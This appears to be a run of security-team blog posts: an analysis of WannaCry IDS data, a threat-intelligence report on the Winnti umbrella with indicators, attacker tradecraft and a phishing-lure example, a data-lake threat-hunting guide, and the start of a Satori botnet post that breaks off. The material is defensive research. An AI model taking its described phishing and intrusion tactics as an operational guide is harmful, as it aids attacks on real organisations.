"Universal law is for lackeys; context is for kings."
-Capt. Gabriel Lorca, Star Trek: Discovery

Workflows are often not as clearly defined in reality as they are in the organizational charts and docs, if those even exist. As a result, the more dismal side of network and threat investigation is often carried out as an iterative process between a data analyst and a threat researcher. Before other engineers, executives, and data scientists hear about a given investigation or start building models to explain the observed network behavior, these first two often have to work together to turn their data into an easily understood story. There are no assumptions or hypotheses to “test” just yet; the battle is still in the trenches of data analysis, where the long fight to convert data into actionable business objectives has not yet been won. This is where we decide what and why to test because the cloud isn’t free, and neither is our time. The purpose of this post is to show how we can understand and visualize network data in order to better steer a threat analyst down a path of focus when attacks occur.

A more subtle facet of this process that I would like to focus on in this post is shared context between a data analyst and a threat researcher: we don’t know yet what questions to ask or what the problem space is, so starting there is a great idea. If "big data is anything you can't fit in Excel,"^[1] the example I use in this post is admittedly small data—but that doesn’t mean it can’t be "good data" for the purposes of investigation, especially when members of a team may make assumptions that these data don’t necessarily support. In my experience, grander campaigns will fail if consensus on the most basic goals isn’t collected first, because errors multiply over the life of a project. For example, you may have collected data on sessions containing some set of network-based detections, but how old was the intelligence that identified those threats? If, for example, the answer is "over a year old," and the threat was identified in the last week, does that change the team's confidence in the threat content of the data that was gathered? The answer to this question will often be “yes.”

Let’s take a look at an example in order to illustrate some of these ideas. The data illustrated by the row below were recorded during a WannaCry attack that lasted from April 26, 2018 until May 5, 2018. A single row, or record, is an IDS signature (sid) on a given conversation between a source (src) and destination (dst) IP address. There are 4,818 such sid-conversation records during the attack. We can also see the timestamps of the first (start) and last (end) IDS hits generated from a conversation; observation timestamp range (OTR) is the difference between start and end and represents the length, in seconds, of "known bad" traffic; the total number of those observations (n_obs) within the OTR; and the directionality of that conversation (direction). Note that in the table below, I have sanitized the first two columns in order to preserve anonymity:

Though the data aggregated above are intentionally basic, thanks to other investigations we have high confidence that all of the 2.46MM observations generated from the 5 unique signatures that identified this traffic are true positives. One of the main purposes of this basic exploratory data analysis (EDA) is to determine which of these many conversations a threat researcher should focus on.

Before we get to visualizing these data, we can make a few high-level statements about the data with some basic grouping and counting:

1. Out of all 4,818 conversations, only 32 are internal-to-external.
2. Of those 4,818, 4,010 (83.2%) are unique pairs of source and destination IP addresses.
3. In all, there are 234 unique source IPs, and 469 unique destination IPs.
4. The top 5 source IPs account for between 63 and 68 non-unique conversations, each.
5. The top 5 destination IPs account for between 150 and 215 non-unique conversations, each.

We can also count the number of unique src-dst IP pairs (#2) for each signature to find that signature 2024216 (an Emerging Threats Open signature to detect a DOUBLEPULSAR beacon response) represents the largest group with 3,280 (68.1%) of the non-unique conversations:

Other ways of graphing these conversations are a function of the other types of data we have. For the purposes of this post, I chose the data under discussion for a couple of reasons: number of observations and OTR are two continuous and relatively easy-to-understand variables; there is a reasonable belief that longer conversations will generate more observations; and, regardless of other empirical reasoning, the patterns I’m reviewing here are what I found when I first did this almost a year ago. That may sound hand-wavy, but the point is that during EDA you often don’t know exactly what you’re looking for or what assumptions to make about the data yet—in this case, these data started a lot of valuable conversations.

Next, I’ll make a scatter plot of the number of IDS hits on a conversation against the OTR; a scatter plot is a good choice because of the continuous nature of the variables I’m currently inspecting. I’m not trying to assert a relationship between these variables, and certainly not a causal one. We are still exploring the characteristics of the data itself; building models and drawing conclusions isn’t only “down the road"—we don’t even know yet what road we’re on! My goal here is to explore any potential variation in the data that might be meaningful, which is another great reason to choose a scatter plot: I want to find patterns that even a five-year-old could point at and say “that looks different.” Only with a collection of meaningful patterns illustrating the data generation processes would I start a conversation with a threat researcher to see if those patterns are expected and if our assumptions are shared.

So, what do these data look like when displayed on a scatter plot?

There is a ton of variation in both of these variables with which we can try to tell a story. Certainly we could do something like run a regression to quantify what looks like a positive relationship between these two features, but since it’s not immediately clear if such a relationship would be forensically useful even if it existed, let’s first add some color to the output from above:

This looks like it might be a bit more informative, but there’s still some bunching going on around the axes, which prevents us from seeing if anything in the smaller ranges is worth telling our threat researchers about. One thing we can do is take the natural log of each of the two dimensions plotted on the axes. This has the effect of scaling the data in such a way that small and large values are better able to be compared visually, since the scale is more compact. In fact, I displayed the above scatter plot with an x-axis in hours, despite OTR being in seconds; it's easier to accept that scaling because we're so familiar with it. Taking the natural log of a number is the inverse operation of exponentiating it; the scales are likewise logistic. Put more simply, successively much bigger numbers are scaled down to smaller and closer values. This is why a log-curve or growth-curve rises fast for small values and then flattens out for larger ones; by logging observation count and OTR, we’re applying the same principle to the scale of our axes. You can see this effect in the axes of some of the graphs below, but for now consider this table, which gives the first six orders of magnitude as both their linear and naturally logged values:

Besides condensing larger scales to smaller scales, we get a bit of a conceptual bonus when using these naturally logged values. For values that are “close” to each other, the difference of natural logs can be interpreted as an approximation of their relative proportions, as a percentage. For example, ln(10.001) - ln(10) = 0.000099995, which is approximately equal to 0.001 / 10, or 0.0001. You can multiply either that difference or that quotient by 100 and you will get 0.01%, and that relationship is a big reason to use log-scale: we can often do some mental arithmetic to get a sense for percentage difference. Let’s go ahead and log these two dimensions to see the visual effect this rescaling has on our data. I’ll also color this log-log scatter plot by the signature label on the conversation:

Neat! There’s some interesting grouping and clustering in these data points. It’s easy to see the type of scaling applied by the natural log: the visual distance between 10 and 150 observations is the same as the distance between 150 and 3000. There’s no more bunching, but there is some peculiar banding along single values of both OTR and number of observations. I’ll discuss this more below, and add one more feature to this graphic by faceting the scatter plot by the direction of traffic:

Ah-ha! Even though some conversations triggering Signature 2830018 are internal-to-internal, that signature alone was triggered by all conversations that were internal-to-external. The fact that only this signature hit on internal-to-external conversations may help a threat researcher determine the origin or extent of the infection. These are the 32 conversations referenced in our earlier list of high-level observations (#1), but now we also have a more precise sense of how long these sessions were, how many observations we generated on them, as well as which signature they triggered. The minimum OTR in this group is 6.1 hours and the median is 117 hours; we can see this is quite different from the group as a whole.

Note that none of the outbound conversations were in the largest group by signature, and in fact all outbound traffic is in the smallest signature group (2830018). Let’s look for other differences between these signature groups using a box plot of OTR lined up with the column graph from above. We already know that these aren’t balanced groups (only 32 of our 4,818 conversations are signature 2830018), but now we can clearly identify other issues of skew in our data, namely that 3 of our 5 signatures triggered on very short sessions. Many of the rest of the conversations were technically outliers in their respective group (at least by the “1.5x the interquartile range” rule):

The analyst or data scientist for this project still has some other work to do, however. There are fascinating artifacts in the left facet of the log-log scatter plot, above; the striations along both axes likely imply something about the intelligence gathering mechanisms used. Furthermore, this odd pattern seems to be present in every signature group except for the outbound facet. Also, Signature 2024216 appears to have at least two very distinct clusters of conversations, as well as at least one of the aforementioned graphical artifacts.

A good story should attract listeners from all walks of life, and those we tell at work are no different. The curation and preparation of these data started important conversations: if there were one goal of this kind of analysis, this would be it. We started in the hypothetical world where we had just discovered a threat or received word from a client that “something didn’t look right” on their network. The next step is to realize that wherever you go with the story you start telling will shape the entire discussion—permanently. Even if it’s wrong and you or someone else has to start over. As Graham Shaw said in The Art of Business Communication, “the amazing power of pictures to stay in the memory is well-documented.” Given this fact, it’s important to make small, impactful moves in the way we shape this narrative; for this reason I advocate for the validation of basic beliefs about a problem and its setting. The analyst’s role in this phase is to inform, not persuade—and for this reason I would rather have something of seemingly small yet inarguable importance that I can reproduce scientifically than some earth-shattering but controversial finding. A good example was how we found the internal-to-external conversations above. It’s also important to note that the counts underlying the column graph do not hint at the observation timestamp range of those conversations; you need to inspect the boxplot to see that really only two signature groups, 2024216 and 2830018, contribute very much to the overall variation in OTR.

Above all else, network security professionals are entrusted with protecting value on client networks, and we’re not here to massage egos or make names for anyone. We don’t need complicated or contentious assumptions (yet): we’re here to present the facts, provide their relevant context, and tell this story early, quickly, and effectively.

Note: Indicators can be found in the PDF version of this report and our GitHub Detection IOC repository.

Key Judgements

• We assess with high confidence that the Winnti umbrella is associated with the Chinese state intelligence apparatus, with at least some elements located in the Xicheng District of Beijing.

• A number of Chinese state intelligence operations from 2009 to 2018 that were previously unconnected publicly are in fact linked to the Winnti umbrella.

• We assess with high confidence that multiple publicly reported threat actors operate with some shared goals and resources as part of the Chinese state intelligence apparatus.

• Initial attack targets are commonly software and gaming organizations in United States, Japan, South Korea, and China. Later stage high profile targets tend to be politically motivated or high value technology organizations.

• The Winnti umbrella continues to operate highly successfully in 2018. Their tactics, techniques, and procedures (TTPs) remain consistent, though they experiment with new tooling and attack methodologies often.

• Operational security mistakes during attacks have allowed us to acquire metrics on the success of some Winnti umbrella spear phishing campaigns and identify attacker location with high confidence.

• The theft of code signing certificates is a primary objective of the Winnti umbrella’s initial attacks, with potential secondary objectives based around financial gain.

Report Summary

The purpose of this report is to make public previously unreported links that exist between a number of Chinese state intelligence operations. These operations and the groups that perform them are all linked to the Winnti umbrella and operate under the Chinese state intelligence apparatus. Contained in this report are details about previously unknown attacks against organizations and how these attacks are linked to the evolution of the Chinese intelligence apparatus over the past decade. Based on our findings, attacks against smaller organizations operate with the objective of finding and exfiltrating code signing certificates to sign malware for use in attacks against higher value targets. Our primary telemetry consists of months to years of full fidelity network traffic captures. This dataset allowed us to investigate active compromises at multiple organizations and run detections against the historical dataset, allowing us to perform a large amount of external infrastructure analysis.

Background

The Winnti umbrella and closely associated entities has been active since at least 2009, with some reports of possible activity as early as 2007. The term "umbrella" is used in this report because current intelligence indicates that the overarching entity consists of multiple teams/actors whose tactics, techniques, and procedures align, and whose infrastructure and operations overlap. We assess that the different stages of associated attacks are operated by separate teams/actors, however in this report we will show that the lines between them are blurred and that they are all associated with the same greater entity. The Winnti and Axiom group names were created by Kaspersky Lab and Symantec, respectively, for their 2013/2014 reports on the original group. The name “Winnti” is now primarily used to refer to a custom backdoor used by groups under the umbrella. Multiple sources of public and private threat intelligence have their own names for individual teams. For example, LEAD is a common alias for the group targeting online gaming, telecom, and high tech organizations. Other aliases for groups related include BARIUM, Wicked Panda, GREF, PassCV, and others. This report details how these groups are linked together and serve a broader attacker mission. The many names associated with actors in the greater intelligence mission are due to the fact that they are built on telemetry of the intelligence provider which is typically unique and dependent on their specific dataset. This report focuses heavily on networking related telemetry.

We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus. This assessment is based on attacker TTPs, observed attack infrastructure, and links to previously published intelligence. Their operations against gaming and technology organizations are believed to be economically motivated in nature. However, based on the findings shared in this report we assess with high confidence that the actor’s primary long-term mission is politically focused. It’s important to note that not all publicly reported operations related to Chinese intelligence are tracked or linked to this group of actors. However, TTPs, infrastructure, and tooling show some overlap with other Chinese-speaking threat actors, suggesting that the Chinese intelligence community shares human and technological resources across organizations. We assess with medium to high confidence that the various operations described in this report are the work of individual teams, including contractors external to the Chinese government, with varying levels of expertise, cooperating on a specific agenda.

In 2015 the People’s Liberation Army of China (PLA) began a major reorganization which included the creation of the Strategic Support Force (SSF / PLASSF). SSF is responsible for space, cyber, and electronic warfare missions. Some of the overlap we observed from groups could potentially be related to this reorganization. Notably, key incident details below include attacker mistakes that likely reveal the true location of some attackers as the Xicheng District of Beijing.

Tactics Techniques and Procedures (TTPs):

Though the TTPs of the attacking teams vary depending on the operation, their use of overlapping resources presents a common actor profile. Key interests during attacks often include the theft of code signing certificates, source code, and internal technology documentation. They also may attempt to manipulate virtual economies for financial gain. While unconfirmed, the financial secondary objective may be related to personal interests of the individuals behind the attacks.

Initial attack methods include phishing to gain entry into target organization networks. The group then follows with custom malware or publicly available offensive tooling (Metasploit/Cobalt Strike), and may use a number of methods to minimize their risk of being detected. Such techniques include a particular focus on “living off the land” by using a victim's own software products, approved remote access systems, or system administration tools for spreading and maintaining unauthorized access to the network.

We have observed incidents where the attacker used other victim organizations as a proxy for unauthorized remote access. In these cases, organization 1 had been compromised for a long period of time, and the attacker accessed victim organization 2 via the organization 1 network.

Delivery and C2 domains routinely have subdomains which resemble target organizations. Additionally, their C2 domains are used across many targets, while subdomains tend to be created and removed quickly and are unique to a particular target or campaign. Also noteworthy is that the actors set their domains to resolve to 127.0.0.1 when not in use, similar to what was originally reported on by Kaspersky Lab (see below).

The actor often uses TLS encryption for varying aspects of C2 and malware delivery. As noted in the “Infrastructure Analysis” section of this report, the actor primarily abuses Let’s Encrypt to sign SSL certificates. We also observed many cases in which self-signed certificates were used in attacks.

Overall, the Winnti umbrella and linked groups are lacking when it comes to operational security. However, some activities linked to these groups follow better operational security and infrastructure management approaches. This may be a clue to the division of responsibilities by team and skill level within the broader organization.

Targets:

The Winnti umbrella and linked groups’ initial targets are gaming studios and high tech businesses. They primarily seek code signing certificates and software manipulation, with potential financially motivated secondary objectives. These targets have been identified in the United States, Japan, South Korea, and China.

Based on the infrastructure, links to previous reporting, and recently observed attacks, the broader organization’s main targets are political. Historically this has included Tibetan and Chinese journalists, Uyghur and Tibetan activists, the government of Thailand, and prominent international technology organizations.

One example of a politically focused lure by the Winnti umbrella and linked groups is an end of 2017 document titled “Resolution 2375 (2017) Strengthening Sanctions on DPR of KOREA” which is a malicious file associated with the C2 infrastructure described here - see MD5: 3b58e122d9e17121416b146daab4db9d.

Some Key Public Reports:

2013:

Kaspersky Lab publicly reported on the original Winnti group, technical details around the Winnti samples, and various honeypot analysis methods. Most noteworthy is the Winnti umbrella’s targeting of gaming organizations in search of code signing certificates, virtual currencies, and updating mechanisms which could potentially be used to attack victims’ clients. Interestingly, this was the first identified trojan for the 64-bit Microsoft Windows operating system with a valid digital signature as noted by the author. The abuse of signed applications is a very effective attack approach that the entity continues to use.

2014:

Novetta released an outstanding report detailing “Operation SMN,” in which they collaborated with a number of private organizations on a large scale malware eradication operation which is linked to the original Winnti group by the malware being delivered. In the report, the actor is named Axiom. Novetta reported links to publications from as far back as 2009 that also link the group to the Chinese state intelligence apparatus with high confidence. Links exist to various known attacks and actor groups, such as “Operation Aurora,” Elderwood Group’s successful 2010 attack against Google and many other organizations. Another link exists to the successful compromise of the security organization Bit9 in 2013, where their own product was used to sign and spread malware to their customers. In addition, FireEye’s “Operation DeputyDog” detailed attacks on Japanese targets from the same attacker infrastructure. Many other incidents are detailed in the Operation SMN report. Following all of these details back in time, we can see an overlap in TTPs and targets from the APT1 report by Mandiant, which serves as a great historical example of Chinese intelligence cyber operations in their most basic form.

2016:

Cylance released a blog post reporting on digitally signed malware used in targeted attacks against gaming organizations in China, Taiwan, South Korea, Europe, Russia, and the United States. Cylance refers to the attacking entity as “PassCV” in their reporting. Cylance successfully identified a large quantity of malware binaries which were signed with valid certificates stolen from a number of gaming studios in East Asia. In addition to detailing the individual certificates and signed malware, they identified a significant amount of network infrastructure which contain various interesting links to our own findings.

2017 - March/April:

Trend Micro reported on attacks that abused GitHub for use in malware command and control, which they attributed to the original Winnti group. Amusingly, Trend Micro later reported on an individual linked to the group and the attacks who happens to be a fan of pigs.

2017 - July 5th:

Citizen Lab reported on attacks against journalists by an actor mimicking China-focused news organizations HK01, Epoch Times, Mingjing News, and Bowen Press. As Citizen Lab noted, these news organizations are blocked in China for their political views. The report notes that malware used in these attacks was linked to a stolen code signing certificate mentioned in the Cylance PassCV post. That overlap, in addition to infrastructure links from a Palo Alto Unit 42 blog post, strongly links this attack to the previously mentioned reports as well as to our own. As Unit 42 reports, the attacks against entities in the government of Thailand used the “bookworm” trojan.

2017 - July/October:

ProtectWise 401TRG published our own findings and an update on LEAD using open source and public tooling in attacks against Japanese gaming organizations. These attacks are linked with high confidence to ongoing operations in the United States and East Asia.

Other Noteworthy Events:

In 2017, multiple supply-chain attacks occurred which had some similarities to the Winnti umbrella and associated entities. For example, Kaspersky reported on ShadowPad, a large-scale compromise of NetSarang, which resembles the Winnti and PlugX malware. In addition, Kaspersky and Intezer identified notable code similarities to the Winnti umbrella and APT17 in the compromise of Piriform, which allowed attackers to sign and spread altered versions of the CCleaner software to a large customer base.

Analysis of Attacks on Initial Targets

Throughout 2017 and 2018, ProtectWise 401TRG was involved in a number of detection and incident response engagements with our customers that linked back to the Winnti umbrella and other closely associated entities. Through the analysis of public and private intelligence, we have successfully identified similar attacks, which allow us to assess with high confidence that the details below follow a global attack trend as the Chinese intelligence operations have evolved over time.

2017 Operations:

One of the most common tactics used by the Winnti umbrella and related entities is phishing users whose credentials may provide elevated access to a target network. We have observed spear-phishing campaigns that target human resources and hiring managers, IT staff, and internal information security staff, which are generally very effective.

In 2017 the entity focused most of its efforts around technical job applicant email submissions to software engineering, IT, and recruiting staff, which we originally reported on at our 401trg.com blog. The phishing lures used multiple languages, including Japanese as in the below example:

The approximate translation is as follows:

I saw your job posting. My main languages are Object-C, JAVA, and Swift, and I have 7 years experience with Ruby and 6 years experience with PHP. I have 5 years experience developing iOS apps, as well as Android apps, AWS, Jenkins, Microsoft Azure, ZendFramework, and smartphone application payment processing. I also have 5 years experience with MSSQL, Mysql, Oracle, and PostgreSQL. Please see here: [malicious link]

The process that followed a target clicking the malicious link evolved as the attacker progressed through the campaigns. The links consistently sent the victim to a fake resume, but the exact format of that resume changed over time; we have observed resumes being delivered as DOC, XLS, PDF, and HTML files. Once opened, the fake resumes performed various actions in an effort to download malware onto the victim host. During the same time period, we also observed the actor using the Browser Exploitation Framework (BeEF) to compromise victim hosts and download Cobalt Strike. In this campaign, the attackers experimented with publicly available tooling for attack operations. During this infection process, the actor was known to check the target operating system and deliver malware, signed by a previously stolen key, for the appropriate host environment. In some cases, valid Apple certificates stolen from victims were used in this process, which linked the attack to additional victim organizations.

Post-compromise actions by the attacker followed a common pattern. First they attempted to spread laterally in the network using stolen credentials and various reconnaissance efforts, such as manually examining shares and local files. The primary goal of these attacks was likely to find code-signing certificates for signing future malware. The secondary goals of the attackers depended on the type of victim organization, but were often financial. For example, gaming organizations tended to fall victim to manipulation or theft of in-game virtual currencies. Non-gaming victims may have experienced theft of intellectual property such as user or technology data.

2018 Operations:

More recently, various attack campaigns from the Winnti umbrella and associated groups have been very successful without the use of any exploits or malware. Phishing remains the initial infection vector but the campaign themes have matured. In 2018, the campaigns have largely been focused on common services such as Office 365 and Gmail.

It is important to note that attackers likely have additional information on their target organizations' preferred email solutions based on previous incidents or open source intelligence.

In more recent phishing campaigns conducted by the Winnti umbrella and associated groups, URL shortening services have been used. For example, Google’s URL shortening service goo.gl was used over the past weeks, allowing us to gain insight into the scale of this campaign using publicly available analytics.

As you can see from the above screenshot, this particular phishing campaign ran from March 20th to March 28th, 2018. Notably, the link was created on February 23rd, 2018, indicating roughly three weeks of preparation for the attacks. These metrics allow us to gain insight into who clicked the link in a phishing email and was directed to a phishing or malware delivery landing page. According to Google analytics, there were a total of 56 clicks. 29 were from Japan, 15 from the United States, 2 from India, and 1 from Russia. 33 of the clicks were from Google Chrome, and 23 were from Safari. 30 were from Windows OS hosts, and 26 were macOS hosts.

In general, the attackers phish for credentials to a user’s cloud storage, and would be expected to later attempt malware delivery in the cases of a failed credential phish or valueless cloud storage.

In cases where the victim uses O365 and/or G-suite for enterprise file storage, the attackers manually review the contents for data of value. If code signing certificates are stored here, the primary mission has been accomplished, as they may be easily downloaded. In other cases, the attackers attempt to use other files and documentation in the cloud storage to help them traverse or gain privileges on the network. The targets in 2018 include IT staff, and commonly sought out files include internal network documentation and tooling such as corporate remote access software.

Once the attackers gain remote access to the network via malware or stolen remote access tooling and credentials, the operation continues as we’ve seen, though their post-compromise actions have become more efficient and automated. Internal reconnaissance is performed by scanning the internal network for open ports 80, 139, 445, 6379, 8080, 10022, and 30304. The choice of ports by the attacker indicates a strong interest in internal web and file storage services. An interesting addition is the use of 30304, which is the peer discovery port for Ethereum clients.

In the attackers’ ideal situation, all remote access occurs through their own C2 infrastructure, which acts as a proxy and obscures their true location. However, we have observed a few cases of the attackers mistakenly accessing victim machines without a proxy, potentially identifying the true location of the individual running the session. In all of these cases, the net block was 221.216.0.0/13, the China Unicom Beijing Network, Xicheng District.

Visualizing Attacker Infrastructure

Based on the various incidents we have been involved in, in addition to past public reporting and open-source intelligence, we can construct a map representing the infrastructure most closely associated with the Winnti umbrella and closely related entities. For the sake of producing an accurate representation of the infrastructure, we are excluding any shared infrastructure (such as hosting provider IPs used for many unrelated domains) and low confidence indicators. Please note this is not an exhaustive list of all active infrastructure in use by the group.

As detailed below, this infrastructure spans at least eight years of activity by the Winnti umbrella and related groups. Please note, as this section heavily references the “Some Key Public Reports” section, above, we recommend reading that first. Indicators are provided in Appendix A of PDF (see top of page).

1. The area of the map labeled #1 is the phishing, malware delivery, fake resume, and C2 infrastructure. This includes domains, IPs, malware hashes, SSL certificates, and WHOIS information. In this section of the infrastructure, we primarily observe the network and file indicators which would be used against targets valued for code signing certificates, software manipulation, and potential financial manipulation. The indicators detailed in the 2017 & 2018 Initial Target section of this report are located in #1. Infrastructure in this area is currently in use and not entirely historical.

2. This area is a network that we assess is associated with the umbrella with low confidence. The most interesting findings here are the large number of Let’s Encrypt SSL certificates in use and the overlap with attacker exclusive infrastructure. This proposed relationship is generated by infrastructure links alone, as no malicious activity has been confirmed to or from region #2. Infrastructure in this area is currently in use and not historical.

3. Area #3 is linked to the initial attack infrastructure (#1) by domain WHOIS details, likely from operational security mistakes. We assess with high confidence that these infrastructures are linked. Based on the lax structure and naming of this section, it is highly probable that it is used for attacker experimenting and development. Some examples include domains such as “nobody.will.know.whoami[.]la”, “secret.whoami[.]la”, and “no.ip.detect.if.using.ipv6[.]la”. Infrastructure in this area is currently in use and not historical.

4. This area has various links to #3 in which an individual software developer is identified. We asses this connection with low to medium confidence and will refrain from publicly sharing details in this report. This area contains many personally operated domains and SSL certificates. Infrastructure in this area is currently in use and not historical.

5. Area #5 of the map is part of what Novetta reported on as Operation SMN in 2014. Infrastructure in this area is purely historical and based on Novetta’s reporting, which we can link to area #1 via known umbrella infrastructure. The vast majority of indicators in this area are the many associated hashes, combined with their C2 destination domains and IPs.

6. This area of the map is what Cylance reported on as PassCV in 2016. The vast majority of infrastructure and indicators here are stolen code signing certificates, malware signed with the certificates, and C2 domains. This area contains information on many victims of campaigns related to area #1. Infrastructure in this area is historical. We assess that this area is linked to the Winnti umbrella with high confidence.

7. This section represents infrastructure identified by Citizen Lab in their July 5th 2017 reporting on attacks against journalists. As they originally identified, one of the NetWire binaries was signed with a stolen certificate linked to #6, the Cylance PassCV report. We were able to further expand this section by pivoting off of additional domain WHOIS information.

8. Lastly is area #8, which links back with high confidence to #7 (Citizen Lab reporting) and #6 (PassCV). This area consists of domains, IPs, MD5 file hashes, and further WHOIS operational security mistakes. This area is similar in functionality to #1 and #3, serving as infrastructure for both high-value politically focused attacks and developer personal use. This section links to the online identities of an individual we asses to be associated with the Winnti umbrella or a closely related group at a medium to high confidence. Infrastructure in this area is currently in use and not historical. One example of malicious activity in this area was the document detailing the strengthening of sanctions against North Korea, above. These activities are similar to the type of politically motivated targeted attacks Citizen Lab reported on. Some infrastructure in this area is currently in use and is not completely historical.

Investigative Findings

Based on incident response engagements, research into the associated attacker infrastructure, and previously reported research, we can summarize our findings as follows:

1. The Chinese intelligence apparatus has been reported on under many names, including Winnti, PassCV, APT17, Axiom, LEAD, BARIUM, Wicked Panda, and GREF.

2. The overlap of TTPs and infrastructure between the Winnti umbrella and other groups indicates the use of shared human and technology resources working towards an overarching goal. Operational security mistakes allow the linking of attacks on lower value targets to higher value campaigns. Reuse of older attack infrastructure, links to personal networks, and observed TTPs play a role in this overlap.

3. The attackers behind observed activity in 2018 operate from the Xicheng District of Beijing via the net block 221.216.0.0/13.

4. Initial attack targets are commonly software organizations in the United States, Japan, South Korea, and China. Later stage high profile targets tend to be political organizations or high-value technology companies.

5. The attackers grow and learn to evade detection when possible, but lack operational security when it comes to the reuse of some tooling. Living off the land and adaptability to individual target networks allow them to operate with high rates of success.

Conclusion

We hope the information we’ve shared in this report will help potential targets and known victims in addition to the greater information security community. Though they have at times been sloppy, the Winnti umbrella and its associated entities remain an advanced and potent threat. We hope that the information contained within this report will help defenders thwart this group in the future.

We’d like to extend a special thank you to all the victims, targets, researchers, and security vendors who have shared their own findings over the years.

Indicators

Indicators can be found in the PDF version of this report and our GitHub Detection IOC repository. Enjoy!

Not long ago the thought of storing every DNS query, SSL certificate, HTTP transaction, and netflow record on a traditional enterprise network for an unlimited period of time sounded ludicrous. Even harder to imagine is using that data to conduct threat research or hunting in a cost-effective and time-efficient way. However, today cloud computing enables the retention and search of full fidelity network artifacts at a massive scale. There are a number of technologies available that make this analyst’s dream possible. In this blog post we will discuss a method of conducting threat research on network metadata at scale using Amazon S3, Apache Parquet, Spark, and Zeppelin.

Important Network Artifacts to Extract and Store

There are endless possibilities when it comes to extracting important metadata from the network. It's important to prioritize which artifacts will give you the biggest impact. In our case, we have found the following to be most beneficial:

• HTTP transactions
• SSL certificates & handshake details
• DNS Queries
• Files extracted from popular protocols
• SMTP/IMAP/POP headers and content
• SMB Metadata
• Netflow Records

As you can imagine, storing all this data can get quite large on a single enterprise network and even larger across multiple networks. To give you a sense of how big this data can get, on a given day we see billions of new conversations resulting in a “netflow” record (ip, port, bytes sent and received, protocol, geo information, device tracking, and directionality). We see several million updates to these records throughout the day. Additionally, after extracting individual attributes for the protocols mentioned above we add several billion extracted features. If you need to prioritize which attributes to start with, consider where the data is being collected on the network and what critical segments are monitored. For monitoring typical ingress/egress on an enterprise network for malware communications, I would recommend prioritizing netflow records, DNS queries, and SSL attributes.

Storing the Data

The data storage process begins when sensors replay network traffic (make a copy of relevant packets to ship back) and generate netflow records on a given network. This traffic is processed in a central hub where features (attributes of a given protocol) are extracted from the collected PCAP. The features and netflow records are then converted to parquet and finally stored in Amazon S3 (the data lake).

The data lake post-processors monitor newly written features and netflow records to perform a number of aggregation operations in batches. Important portions of the feature (such as domains in a DNS query) are indexed in fast-to-process data structures for quicker searching. This allows searching on certain fields to be 150-500 times faster than searching the raw data. This type of indexing is critical to cost-saving given the amount of data and length of storage we work with. Reading a year of data with our standard Amazon EMR system types can take days on a 40-node Spark cluster, costing thousands of dollars; our indexing allows us to do the same processing on a quarter of the nodes in less than 1% of the runtime. In addition to indexing, we flatten certain parts of the data to make it more user-friendly as well as add aggregation for items that require frequent counting. Certain problems require the creation of long-spanning aggregations, and since running these from source can be time-consuming and expensive, we create aggregates based on time slices on the fly.

Accessing the Data

401TRG tends to have a lot of ad hoc data analysis needs. With Spark we can use SQL interfaces for querying the data. Once we understand the types of queries that are most common, we can automate ETL (Extract, Transform and Load) or MR (MapReduce) workloads to produce simplified structures that are easier to work with. Additionally, since we repeat certain types of queries and share query logic with other team members, we use Zeppelin to create web-based notebooks that we can easily share and store.

During exploratory data analysis cost awareness is important. However, it isn’t always obvious which types of queries end up being more computationally expensive than others. One thing we do to help mitigate cost issues is create systems for on-demand resource allocation as opposed to having systems continually running and waiting for ad hoc tasks. We built a system internally to allow users to spin up and configure EMR clusters via a UI. Each cluster is preloaded with Zeppelin and Spark SQL (along with scala-spark and pyspark).

Using Zeppelin we can create a repo of notebooks to save some common SQL queries we use to access this data. Doing this via notebooks allows 401TRG to share and reuse common query syntax. It also allows us to create hunting playbooks that can be run periodically to hunt down malicious behavior.

Hunting

Now that we have a data lake and an easy way to access the data, where do we start our hunting process?

Indicator Searching

First and foremost, searching for various types of indicators can prove very valuable. Often you will come across new indicators in the course of your daily workflow. These could come from open source intelligence being shared or internal research. Either way, it's always handy to be able to search for IPs, domains, URLs, hashes, SSL certificates, etc. Given that the data lake is designed to retain data for a very long period of time, this can make searches for high value IOCs very powerful.

IP Address Monitoring

In the CrowdStrike Cyber Intrusion Services Casebook 2017, remote access is one of the predominant attack vectors they encountered. Using a data lake you can query the remote IP addresses associated with any RDP or VPN connections to your environment. You can tailor your queries to look for established sessions or brute force attempts. These destinations can be fact checked against what is allowed in your environment to identify potentially malicious connections.

This should also be applied to DNS traffic. In general your outbound DNS traffic should be confined to a handful of servers. By regularly monitoring remote IPs queried, you should be able to flag something that forces a host to resolve a query (or tunnel traffic) to an irregular destination. Once curated and massaged, these types of techniques should be automated and integrated into your detection tools.

Surfacing Outliers

A simple but powerful technique we use is counting unique instances of interesting attributes. The idea here is to learn what is frequent and what is not. This works best when variance in the attribute is low, but that is not always the case. Below are a few examples of interesting attributes to examine:

• User-Agent strings
• HTTP header names
• SSL certificates
  • Common Name
  • Subject
  • Issuer
  • Serial
  • JA3 Fingerprints
• DNS resource records (RRs)
  • Name
  • TTL
  • Record Type
  • Class
• Protocol Counts
• SMTP header names

Data Stacking

Building on the idea of counting unique attributes, we expand to counting groups of attributes. This method, sometimes referred to as Data Stacking, is commonly used to hunt for suspicious processes on a given host as described in this blog post by FireEye. This method can also be applied to many network attributes. Below are some examples of attributes to group and count:

HTTP header names: Grouping by the order of header names should identify transactions where unusual header names or header ordering occurs.
DNS RRs: This one may be a little tricky due to volume, but examining combinations such as the following can help hunt down suspicious DNS queries:

• Name and record type
• Name and TTL
• Record Type and TTL

SSL Certificates: Grouping common name, subject, and issuer can identify poorly crafted certificates meant to imitate authentic ones. Grouping validity dates can identify certificates that were created in an unusual way. Additionally, grouping JA3 fingerprints with destination ports or specific attributes of the certificate can prove very interesting.

Wrapping Up

In this blog post we presented a method to store and query a data lake of network artifacts using widely available technologies. We also discussed a handful of hunting techniques that can benefit from the long-term storage of network data. For teams with large data volumes, an easily accessible data lake can significantly improve your threat hunting/detection capabilities. We’ve found this particularly useful for researching and validating new detection hypothesises as well as conducting investigations. We hope you find this information valuable as you build out or maintain your own data lake.

Written in collaboration with Matt Anthony, Director of Data Science, ProtectWise and Justin Miller, Manager of Threat Engineering, ProtectWise.

The Satori Botnet, a successor of Mirai, has continuously infected vulnerable devices since its launch late last year. There has recently been a flurry of of activity around this botnet: the botnet author was potentially identified, some C2 Infrastructure was taken down, and variants began attacking Ethereum Mining Rigs. The activity described in this post is focused on a Satori variant which uses a number of different infection methods, including exploitation of CVE-2014-8361, to spread. Interestingly, this variant chooses targets and operates at a pace that suggests it may be attempting to avoid detection. Our telemetry on these attacks also indicates a particular focus on infecting devices in China.

February 2018 Attacks

